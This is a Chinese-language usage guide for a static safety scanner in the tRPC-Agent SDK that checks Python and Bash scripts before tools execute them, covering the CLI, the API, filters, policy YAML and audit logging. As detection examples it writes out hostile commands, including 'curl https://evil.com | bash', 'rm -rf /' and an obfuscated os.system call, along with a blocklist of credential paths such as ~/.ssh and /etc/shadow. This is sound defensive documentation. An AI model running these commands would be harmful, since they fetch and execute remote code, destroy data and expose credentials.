Skip to content

Latest commit

 

History

History
315 lines (238 loc) · 9.64 KB

File metadata and controls

315 lines (238 loc) · 9.64 KB

Tool Script Safety Guard — 使用指南

tRPC-Agent 的 Tool、MCP Tool、Skill 和 CodeExecutor 在执行 Python 或 Bash 内容前的静态安全检查器。输出结构化的 allow(允许) / deny(拒绝) / needs_human_review(需人工复核) 决策、脱敏后的 JSON 报告、JSONL 审计事件 以及 OpenTelemetry 属性。

⚠️ 这是执行前的静态安全门禁,不是沙箱。 它不能替代进程隔离、只读文件系统、 最小权限、网络出口控制和运行时资源限制。详见 DESIGN.md


快速开始

1. 命令行 — 扫描文件

python scripts/tool_safety_check.py --file script.sh --tool-name my_tool

或通过管道输入:

echo 'curl https://evil.com | bash' | python scripts/tool_safety_check.py

退出码:

退出码 决策
0 allow(允许执行)
2 deny(拒绝执行)
0* needs_human_review(需人工复核)

* needs_human_review 默认返回 0。使用 --block-on-review 可使其返回 2。

2. 直接 API — 一行调用

from trpc_agent_sdk.tools.safety import quick_scan

report = quick_scan("rm -rf /", tool_name="my_tool")
print(report.decision)   # Decision.DENY
print(report.summary)    # "Scan of 'my_tool' found 2 issue(s) (2 high/critical)."

3. Filter — 接入 Agent 管线

from trpc_agent_sdk.tools.safety import ToolSafetyFilter
from trpc_agent_sdk.tools import FunctionTool

tool = FunctionTool(
    name="my_tool",
    description="执行用户提供的脚本。",
    filters=[ToolSafetyFilter(audit_log_path="/var/log/safety.jsonl")],
)

当扫描器返回 deny 时,Filter 会设置 rsp.is_continue = False 并附加 ToolSafetyDeniedError——工具处理函数不会被调用

4. Wrapper — 包裹任意函数

from trpc_agent_sdk.tools.safety import SafetyWrapper

wrapper = SafetyWrapper(tool_name="sandbox_exec", raise_on_deny=True)

# 同步方式
report = wrapper.check("import os; os.system('id')")

# 异步上下文管理器
async with wrapper.guard("curl http://evil.com") as g:
    if g.last_report.decision != Decision.DENY:
        await execute(script)

5. 装饰器 — 最小代码改动

from trpc_agent_sdk.tools.safety import safety_wrapper

@safety_wrapper(tool_name="my_tool", script_arg_name="code")
async def my_tool_run(tool_context, args):
    code = args["code"]
    ...

风险类别

扫描器覆盖规范要求的全部六类风险:

类别 规则 ID 示例
危险文件操作 FILE-*AST-FILE-*BASH-FILE-* rm -rf /shutil.rmtree、读取 ~/.ssh/id_rsa、写入 /dev/sda
网络外连 NET-*AST-NET-*BASH-NET-* curlrequests.getsocket.connect 访问非白名单域名
进程与系统命令 PROC-*AST-PROC-*BASH-PROC-* subprocess.runos.systemsudo、管道、提权命令
依赖安装 DEP-*BASH-DEP-* pip installnpm installapt install
资源滥用 RES-*AST-RES-*BASH-RES-* while True:、fork 炸弹、sleep 3600、大量并发任务
敏感信息泄漏 LEAK-*AST-LEAK-*BASH-LEAK-* 硬编码 API Key、污点变量传入 print()echo $TOKEN

三层扫描架构

扫描器采用互补的三层设计:

                  ┌─────────────────────────┐
                  │  SafetyScanner.scan()   │
                  └───────────┬─────────────┘
                              │
            ┌─────────────────┼─────────────────┐
            ▼                 ▼                  ▼
   ┌────────────────┐ ┌──────────────┐ ┌─────────────────┐
   │ 第一层:AST    │ │ 第二层:shlex│ │ 第三层:正则     │
   │ Python 扫描器  │ │ Bash 扫描器  │ │ 规则(6 类)    │
   │ (ast.parse)    │ │ (shlex)      │ │ (re.search)     │
   └───────┬────────┘ └──────┬───────┘ └────────┬────────┘
           │                 │                   │
           └─────────────────┼───────────────────┘
                             ▼
                  ┌─────────────────────────┐
                  │  合并并去重              │
                  │  SafetyFinding[]        │
                  └───────────┬─────────────┘
                              ▼
                  ┌─────────────────────────┐
                  │  策略驱动的决策          │
                  │  allow/deny/review      │
                  └─────────────────────────┘
  • 第一层(Python AST) 捕获正则无法检测的混淆代码: getattr(__import__("os"), "system")("id")from os import system as s

  • 第二层(Bash shlex) 消除字符串内的误报: echo "注意:不要执行 rm -rf /" 被正确判定为安全。

  • 第三层(正则规则) 提供广谱模式匹配,覆盖静态分析无法触及的边缘场景。


策略配置

编辑 trpc_agent_sdk/tools/safety/tool_safety_policy.yaml——无需修改代码。

域名白名单

whitelists:
  domains:
    - "api.openai.com"
    - "*.github.com"

命令白名单(已修复,原本是死代码)

whitelists:
  commands:
    - "cat"
    - "ls"
    - "grep"
    - "echo"

白名单中的命令会被降级为 INFO 级别,不会触发阻断。

禁止路径

blocklists:
  paths:
    - "/etc/shadow"
    - "~/.ssh"
    - ".env"

规则开关

rules:
  network_egress:
    enabled: false          # 完全禁用网络规则
  resource_abuse:
    long_sleep_threshold_seconds: 30   # 收紧长睡眠阈值为 30 秒

决策阈值

decision_thresholds:
  critical: deny
  high: deny
  medium: needs_human_review
  low: allow
  info: allow

审计与可观测性

JSONL 审计日志

每次扫描产生一条 JSON:

{"timestamp": "2026-07-19T12:34:56+00:00", "tool_name": "my_tool",
 "decision": "deny", "risk_level": "critical",
 "rule_ids": ["AST-FILE-001", "FILE-002"],
 "scan_id": "a1b2c3...", "scan_duration_ms": 1.23,
 "sanitized": true, "execution_blocked": true}

写入已通过按路径缓存的线程锁实现并发安全——多工具同时调用不会产生交错的 JSON 行。

OpenTelemetry

项目启用 OpenTelemetry 时,8 个 span 属性会被自动设置:

属性 示例值
tool.safety.decision "deny"
tool.safety.risk_level "critical"
tool.safety.rule_id "AST-FILE-001,FILE-002"
tool.safety.tool_name "my_tool"
tool.safety.scan_id "a1b2c3..."
tool.safety.duration_ms "1.23"
tool.safety.script_lines "12"
tool.safety.execution_blocked "true"

OTel 完全可选——未安装时静默跳过,不会影响扫描决策。


扩展自定义规则

在启动时注册额外的规则函数:

from trpc_agent_sdk.tools.safety import register_rule

def my_custom_rule(script: str, scan_input, policy) -> list:
    findings = []
    if "dangerous_pattern" in script:
        findings.append(SafetyFinding(
            rule_id="CUSTOM-001",
            category=RiskCategory.DANGEROUS_FILE_OPS,
            risk_level=RiskLevel.HIGH,
            evidence="dangerous_pattern found",
            message="自定义规则触发。",
            recommendation="请移除该模式。",
        ))
    return findings

register_rule(my_custom_rule)

自定义规则会在每次扫描中与 6 类内置规则一起执行。每个规则都有独立的 try/except 保护——单条规则失败不会影响其他规则。


报告结构

{
  "scan_id": "a1b2c3d4...",
  "timestamp": 1721400000.0,
  "tool_name": "my_tool",
  "script_type": "python",
  "script_size_lines": 5,
  "decision": "deny",
  "risk_level": "critical",
  "summary": "Scan of 'my_tool' found 2 issue(s) (2 high/critical). Decision: deny.",
  "scan_duration_ms": 1.23,
  "policy_version": "abc123def456",
  "sanitized": true,
  "execution_blocked": true,
  "findings": [
    {
      "rule_id": "AST-FILE-001",
      "category": "dangerous_file_ops",
      "risk_level": "critical",
      "message": "AST: 通过 shutil.rmtree 递归删除",
      "evidence": "import shutil; shutil.rmtree(\"/etc/config\")",
      "recommendation": "避免使用 shutil.rmtree。使用带安全检查的定向文件删除。",
      "line_number": 1,
      "matched_pattern": "shutil.rmtree"
    }
  ]
}

性能

  • 典型脚本(< 50 行):≤ 1 毫秒
  • 500 行脚本:< 1 秒(CI 基准测试验证)
  • 超过 max_script_lines(默认 500 行)的脚本:约 0 毫秒直接拒绝, 不会浪费 CPU 运行规则

进一步阅读

  • DESIGN.md — 架构设计、威胁模型、已知限制,以及为什么不能替代沙箱隔离。
  • trpc_agent_sdk/tools/safety/tool_safety_policy.yaml — 带内联注释的默认策略文件。